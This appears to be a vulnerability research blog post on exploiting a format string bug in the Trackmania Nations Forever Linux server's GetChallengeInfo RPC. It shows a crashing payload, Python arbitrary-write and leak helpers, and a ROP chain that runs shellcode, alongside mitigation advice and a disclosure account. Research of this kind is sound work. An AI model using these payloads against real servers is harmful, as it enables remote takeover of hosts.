05 10 2022-3
05 10 2022-3
Table of Contents
Recap
Last we left off we found a format string bug in the error logger for the
Trackmania Nations Forever server. The vulnerable code is reachable from a lot of
places, but our entry point is the “GetChallengeInfo” RPC call.
Once more, here is the crashing payload that our fuzzer found:
<?xml version="1.0"?>
<methodCall>
<methodName>GetChallengeInfo</methodName>
<params>
<param>
<value>%999999s</value>
</param>
</params>
</methodCall>
In this post, we will be root-causing the crash and writing an exploit to turn it
into full RCE.
Due diligence
Before I show you the exploit, here is how you can protect yourself from it.
Affected versions
This bug affects you if and only if you are running a Linux-based Trackmania
Forever server.
To be clear, the following products are not affected:
Ensure /nodaemon is not used in the startup command for the server. /nodaemon is
what opens up the vulnerable code path used in this exploit.
Configure a firewall such that the RPC port is not exposed. This just breaks my
specific exploit, and may or may not be enough to fully mitigate this bug. In any
case, it is a good precaution to take.
Triage
Root cause
GDB can be used to triage the crash we found earlier. I’ve set a breakpoint right
before the call to fprintf, and sent the XML payload. In the next screenshot, the
format string is stored in arg[1]. If you look at the stack, you can see both
fprintf arguments as well.
The fancy decompilation is coming from this binja plugin1.
We can try the same call, but with a less “aggressive” argument. For example, let’s
query GetChallengeInfo("%p %p %p %p") instead and see what happens. On the stdout
of the Server, the following message pops up:
Track '0x2 (nil) 0x8ce048c 0xffffc710' not found.
Format string exploitation 101
Format string bugs can be deadly, as they can provide a way to read and write to
memory with only a single bug. As a quick example, this printf call leaks values
because it tries to print 3 pointers, while no arguments are provided.
printf("%p %p %p");
// ./a.out
// 0x7ffe67fe8ca8 0x7ffe67fe8cb8 0x559c14ba4dc0
printf is still going to print ✨something✨ so it will grab some arguments from the
stack anyways.
int characters_printed_so_far = 0;
printf("Hello world!\n%n", &characters_printed_so_far);
printf("characters_printed_so_far = %d\n", characters_printed_so_far);
// ./a.out
// Hello world!
// characters_printed_so_far = 13
In a classic CTF challenge, the format string you control is usually also on the
stack, which allows you to write anywhere in memory using this trick.
Exploitability
Back to our bug. The output of printf is sent to the server’s stdout, which we
can’t see as a remote attacker. We won’t be able to leak memory contents this way.
But wait, it gets worse; if we run vmmap on the address of the format string, we
can see it resides on the heap. This means we can’t use the easy <target addr>%x$n
method to write to a target address either 😭.
All of this is not to say this printf bug is useless. We can still use the %n
specifier to write to locations, just not arbitrary locations. With a few clever
writes, however, we can turn this into an arbitrary write primitive.
You can think of stack frames as a linked list, with each stored base pointer
pointing to the base pointer of the previous (i.e. older) stack frame.
void func3() {
// StackFrame 3
//...
}
void func2() {
// StackFrame 2
// ...
func3();
}
void func1() {
// StackFrame 1
// ...
func2();
}
In this example, we could use base pointer 2 to write a value to StackFrame 1. We
can write any arbitrary value into that base pointer field, and as long as the
frame is not recovered, the program will continue to run fine.
So for example, if we overwrite the stackframe of main(), the program should not
return from main() or we risk crashing. Since the Trackmania server uses a game
loop and doesn’t return to old functions like main or __libc_start_main, this won’t
be an issue.
At this point, it should become clear how to obtain an arbitrary write. You first
perform a write to “punch in” your target address, followed by a second write to
write a value at the target address.
(This process is also described in Blind Format String Attacks, Kilic et al, but
their explanation is overcomplicated for our use case in my opinion.)
Exploitation
Now that we have a plan to obtain an arbitrary write primitive, we can start
building the exploit. For reference, here is a checksec of the main server binary.
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RELRO isn’t really relevant here as the server is statically compiled. The binary
is also not position independent (PIE), which makes the arbitrary write primitive
very powerful. We can directly start corrupting the process, without first having
to leak memory.
Arbitrary write
helper functions
Let’s start with some helper functions. Firstly, we need a simple way to trigger
the format string bug:
def throw(format_string):
contents = f"""
<?xml version="1.0"?><methodCall><methodName>GetChallengeInfo</methodName>
<params><param><value>{format_string}</value></param></params></methodCall>
""".encode()
return send_content(contents)
Next, we want to abstract away from the nitty-gritty details of the format string
and start thinking in terms of abstract primitives. Here is a basic write
primitive. It uses the padding feature in printf to print a certain number of
characters, corresponding to the address and value to write to.
offset_1:
f1:03c4│ 0xffffccd0 —▸ 0xffffccd8 —▸ 0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141
f2:03c8│ 0xffffccd4 —▸ 0x8a26677 —▸ 0xffb8c289 ◂— 0xffb8c289
offset_2:
f3:03cc│ 0xffffccd8 —▸ 0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141
f4:03d0│ 0xffffccdc —▸ 0x80484af ◂— add esp, 0xc
f5:03d4│ 0xffffcce0 —▸ 0x8048460 ◂— mov eax, 0x8cbaa9c
f6:03d8│ 0xffffcce4 ◂— 0x0
f7:03dc│ 0xffffcce8 —▸ 0x8c77544 ◂— 0x0
f8:03e0│ 0xffffccec —▸ 0x8a74634 ◂— mov eax, dword ptr [ebx - 4]
f9:03e4│ 0xffffccf0 ◂— 0x0
fa:03e8│ 0xffffccf4 ◂— 0x35 /* '5' */
offset_3:
fb:03ec│ 0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141
To find useful offsets, I set a breakpoint on the fprintf call and dumped the
entire stack in pwndbg (as seen above). By looking for pointers on the stack that
point to another location on the stack, you can find such chains. For the next
part, we’ll need a chain of three linked stack pointers. “Offset” in this situation
means, “In the vulnerable printf call, what argument index gets us to the pointer
we want?”. In the above example, offsets 1, 2, and 3 are the 287th, 289th and 297th
printf arguments respectively.
Printf also allows you to write single bytes, which will be much faster. This will
require a slightly more complicated address selection procedure, which we can build
with a chain of three base pointers.
This method is a lot faster, but it does require us to know (or guess) the least
significant byte (LSB) of the second base pointer (x). It seems to be 16-byte
aligned, so you’d be looking at a 1/16 chance to pull this exploit off without a
leaked stack address. Not terrible, but we can do better.
Leak
I did not find a memory disclosure vulnerability, but not to worry, we can use the
arbitrary write to induce one. One of the RPC calls we have access to is
“GetVersion”. It returns some basic information about the server. The referenced
globals contain pointers to the server name, version and build respectively.
void * GetVersion(void *ctx, _xmlrpc_env *env, /* ... */
CIPCRemoteControl_SAuthParams *session_object) {
if (session_object != NULL && *(session_object + 0x10) < 3)) {
return _xmlrpc_build_value(env, "{s:s,s:s,s:s}", "Name", g_server_name,
"Version", g_server_version, "Build", g_server_build);
}
CIPCRemoteControl::SetGbxError(env,"Permission denied.");
return NULL;
}
We can use this as a way to dereference any address, by overwriting the pointer
stored in the g_server_name global with an address. Next time GetVersion is called,
the returned “Name” will be the value stored at the address, rather than the
expected “TmForever”.
def slow_calibrate():
global offset_2, offset_3
global mux_initial_lsb
initial = len("Track '")
s = f"%{g_game_name - initial}d%{offset_2}$n"
throw(s)
s = f"%{g_argv_leak - initial}d%{offset_3}$n"
throw(s)
res = version()
leak = u32(res.split(b"string>")[1][:-2][:4])
# calculate LSB based on the offset
mux_initial_lsb = (leak - 0x254) & 0xff
def read(addr):
write(g_game_name, p32(addr))
res = version()
leak = u32(res.split(b"string>")[1][:-2][:4])
assert leak != u32(b"TmFo"), "Leak is broken, aborting"
return leak
Implementing the optimization
Since we managed to find the initial LSB, we can now go ahead and upgrade our write
primitive. I’ve split it up into a function that updates the target address and a
function to perform the write.
Some basic caching will save us a lot of writes, so it’s useful to track the
addresses you’re writing.
def set_target_addr(addr):
global offset_1, offset_2
global last_target_addr
for i in range(4):
# We may be able to skip the loop
if last_target_addr is not None:
if ((last_target_addr >> (8*i)) & 0xff) == ((addr >> (8*i)) & 0xff):
continue
ROP
At this point, we have primitives for read and writes, so it is pretty much game
over. After trying a couple exploitation strategies, I ended up writing a ROP chain
directly on the stack and jumping to it by overwriting a saved return pointer.
The chain itself is a fairly standard ROP chain that calls mprotect to make the
stack executable before jumping directly to the included shellcode.
Here’s what the code looks like that generates the ROP chain. I make pretty heavy
use of pwntools’s ROP features in order to make the code a bit more readable.
argv = read(g_argv_leak)
main_ret = argv - 0x290
log.info(f"Overwriting : {hex(main_ret)}")
context.binary = e = ELF("TrackmaniaServer")
context.kernel = context.arch
rop = ROP(e)
int_80_ret = next(e.search(asm("int 0x80; ret;")))
rop.eax = constants.SYS_mprotect
rop.ebx = rop_base & 0xfffff000
rop.ecx = 0x3000
rop.edx = 0x7
# Make the stack executable
rop.call(int_80_ret)
# Jump to the stack
rop.call(rop.jmp_esp)
rop.raw(shellcode)
One final complication here is that the stack needs to remain somewhat valid
throughout the entire process. This can be solved by writing the ROP chain further
down the stack (higher address) and jumping to it with a small gadget.
Overwriting the return pointer with this gadget needs to happen in one go because
the address must be valid for the game loop to run successfully.
s = f"%{value}d%{offset_3}$n"
throw(s)
.loop:
push 0x3f;
pop eax;
int 0x80;
inc ecx;
cmp cl, 3;
jne .loop;
Closing remarks
Given the extremely low complexity of previous work, I am convinced that there are
way worse vulnerabilities in TMNF. If someone were to put in the work to target the
game protocol or map parser, I’m sure there are way easier bugs to exploit.
That begs the question, is it even secure to play old games like this online? At
least in Ubisoft’s case, there is zero incentive to report bugs in older games. And
even if you do report it3, what are the odds that it will get fixed?
Personally, just doing this research has spooked me enough to stop playing TMNF
online or loading user-created maps 😅.
To be clear, not all of those are necessarily vulnerable. They might be Windows
based or running in daemon mode. I did not test the exploit, so I don’t know the
real number of vulnerable online hosts. I was just surprised to find this much RPC
in the first place.
About half of these also show up on Shodan, though the filter I used requires a
subscription.
Disclosure
From the get-go, I knew it would be hard to report bugs for this project. I ended
up asking in the Trackmania discord for a contact, which initially seemed to work.
However, after providing details and a full exploit over email, it went quiet. A
few weeks before posting, I sent out another email to Nadeo to ask if they had any
plans of patching or announcing something, but that also fell on deaf ears.
Before making this research public, I reached out to several server owners with the
mitigation advice at the start of this post.
Links
Exploit source code
Blind Format String Attacks, Kilic et al
I just got binja and I’ve been installing all the plugins. On the odd chance that
any APT’s are reading along, just write a cool binja plugin and you’ll have a 50%
chance of pwning me ↩︎
if you’re already very familiar with format string bugs, obligatory xkcd cts
https://twitter.com/gf_256/status/1430961241644732416 ↩︎
Yes I know they have a bugcrowd profile but that only applies if the product has
been updated in the last year. Their bounty curve is also laughably bad. (low: €0 /
medium: €0 / high: €0 / critical €3k) + NDA. Imagine writing an exploit for a
modern piece of software, getting triaged as “high” priority, only to be “rewarded”
with an NDA for a whopping €0. ↩︎